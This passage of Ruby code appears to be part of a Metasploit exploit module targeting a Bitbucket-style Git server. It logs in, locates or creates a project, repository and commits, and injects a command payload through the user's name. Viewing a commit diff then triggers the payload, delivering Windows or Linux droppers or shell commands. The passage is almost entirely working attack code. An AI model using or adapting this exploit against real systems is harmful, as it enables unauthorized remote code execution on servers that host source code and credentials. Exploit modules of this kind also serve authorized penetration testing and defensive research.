print_status('No accessible repositories. Will attempt to create a repo')
return []
end
repo_data = json_data['values'].first
repo_name = repo_data['slug']
project_key = repo_data['project']['key']
unless repo_name && project_key
print_status('Could not find repo name and key. Creating repo')
return []
end
[ repo_name, project_key ]
end
def get_repo_info
unless @project_name && @project_key
print_status('Failed to find valid project information. Will attempt to create repo')
return nil
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),
'keep_cookies' => true
)
unless res
print_status("Failed to access existing repository #{@project_name}")
return nil
end
html_doc = res.get_html_document
commit_data = html_doc.search('a[@class="commitid"]')
unless commit_data && commit_data.length > 1
print_status('No commits found for existing repo')
return nil
end
latest_commit = commit_data[0]['data-commitid']
prev_commit = commit_data[1]['data-commitid']
file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')
res = send_request_cgi(
'method' => 'GET',
'uri' => file_uri,
'keep_cookies' => true
)
return nil unless res
json = JSON.parse(res.body)
return nil unless json['values']
path = json['values']&.first&.dig('path')
return nil unless path
[ latest_commit, prev_commit, path['name'] ]
end
def exploit
@use_public_repo = true
datastore['GIT_USERNAME'] = datastore['USERNAME']
datastore['GIT_PASSWORD'] = datastore['PASSWORD']
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
fail_with(Failure::BadConfig, 'No credentials to log in with.')
end
log_in(datastore['USERNAME'], datastore['PASSWORD'])
@curr_uname = datastore['USERNAME']
@project_name, @project_key = get_repo
@repo_name = @project_name
@latest_commit, @first_commit, @diff_file = get_repo_info
unless @latest_commit && @first_commit && @diff_file
@use_public_repo = false
@project_name, @project_key = create_project
email, @repo_name = create_repository
@latest_commit, @first_commit, @diff_file = create_commits(email)
print_good("Commits added: #{@first_commit}, #{@latest_commit}")
end
print_status('Sending payload')
case target['Type']
when :win_dropper
execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')
when :linux_dropper
execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)
when :unix_cmd
execute_command(payload.encoded.strip)
end
end
def cleanup
if @curr_uname != datastore['USERNAME']
print_status("Changing user name back to '#{datastore['USERNAME']}'")
if change_username(@curr_uname, datastore['USERNAME'])
@curr_uname = datastore['USERNAME']
else
print_warning('User name is still set to payload.' \
"Please manually change the user name back to #{datastore['USERNAME']}")
end
end
unless @use_public_repo
delete_repository(@curr_uname) if @repo_name
delete_project(@curr_uname) if @project_name
end
end
def execute_command(cmd, _opts = {})
if target['Platform'] == 'win'
curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))
else
curr_payload = uname_payload(cmd)
end
unless change_username(@curr_uname, curr_payload)
fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')
end
view_commit_diff(@latest_commit, @first_commit, @diff_file)
@curr_uname = curr_payload
end
end